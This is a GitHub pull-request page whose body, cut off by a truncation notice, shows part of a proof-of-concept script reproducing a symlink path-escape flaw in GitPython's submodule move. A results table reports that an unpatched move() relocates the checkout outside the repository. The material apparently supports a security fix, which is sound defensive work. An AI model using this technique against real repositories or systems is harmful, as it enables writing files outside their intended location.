run_git("submodule", "update", "--init", "--quiet", cwd=victim)
parent = Repo(victim)
submodule = parent.submodule("logical-name")
before = {
"status": parent.git.status("--porcelain"),
"write_tree": parent.git.write_tree(),
"vendor_index": parent.git.ls_files("--stage", "vendor"),
"index_paths": parent.git.ls_files().splitlines(),
"gitmodules_path": read_gitmodules_path(parent),
"source_canary": (victim / "module" / "SELF_GENERATED_CANARY.txt").exists(),
"external_canary": (
outside / "module" / "SELF_GENERATED_CANARY.txt"
).exists(),
"module_core_worktree": read_core_worktree(parent),
}
error = None
try:
submodule.move(
"vendor/module"
) # Fixed application value; attacker does not control it.
# Capture the exact type and text so a patched rejection remains visible.
except Exception as exception:
error = {"type": type(exception).__name__, "message": str(exception)}
write_tree = None
write_tree_error = None
try:
write_tree = parent.git.write_tree()
except Exception as exception:
write_tree_error = {
"type": type(exception).__name__,
"message": str(exception),
}
result = {
"imported_modules": {
"git": str(Path(sys.modules["git"].__file__).resolve()),
"gitdb": str(Path(gitdb.__file__).resolve()),
"smmap": str(Path(smmap.__file__).resolve()),
},
"committed_symlink_target": link_target,
"before": before,
"call_error": error,
"after": {
"status": parent.git.status("--porcelain"),
"source_canary": (
victim / "module" / "SELF_GENERATED_CANARY.txt"
).exists(),
"external_canary": (
outside / "module" / "SELF_GENERATED_CANARY.txt"
).exists(),
"index_paths": parent.git.ls_files().splitlines(),
"gitmodules": (victim / ".gitmodules").read_text(encoding="utf-8"),
"gitmodules_path": read_gitmodules_path(parent),
"submodule_path": submodule.path,
"module_core_worktree": read_core_worktree(parent),
"write_tree": write_tree,
"write_tree_error": write_tree_error,
},
}
print(json.dumps(result, indent=2, sort_keys=True))
parent.close()
return 0
if __name__ == "__main__":
raise SystemExit(main())
Observed result
The relative and absolute symlink variants produced the same security-relevant result on both directly tested revisions:
| State |
Before |
After unpatched move() |
| API result |
not called |
returns successfully |
| Original checkout |
module/SELF_GENERATED_CANARY.txt exists |
checkout is gone |
| External destination |
outside/module absent |
canary exists under outside/module |
| Parent index |
.gitmodules, module, vendor |
.gitmodules, vendor, vendor/module |
.gitmodules path |
module |
`vendor |
[!IMPORTANT]
✂ PR body was truncated to here.
Sorry, something went wrong.
Uh oh!
There was an error while loading. Please reload this page.
This branch has not been deployed
No deployments
Uh oh!
There was an error while loading. Please reload this page.
Assignees
No one assigned
Milestone
No milestone
Development
Successfully merging this pull request may close these issues.
Uh oh!
There was an error while loading. Please reload this page.
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
|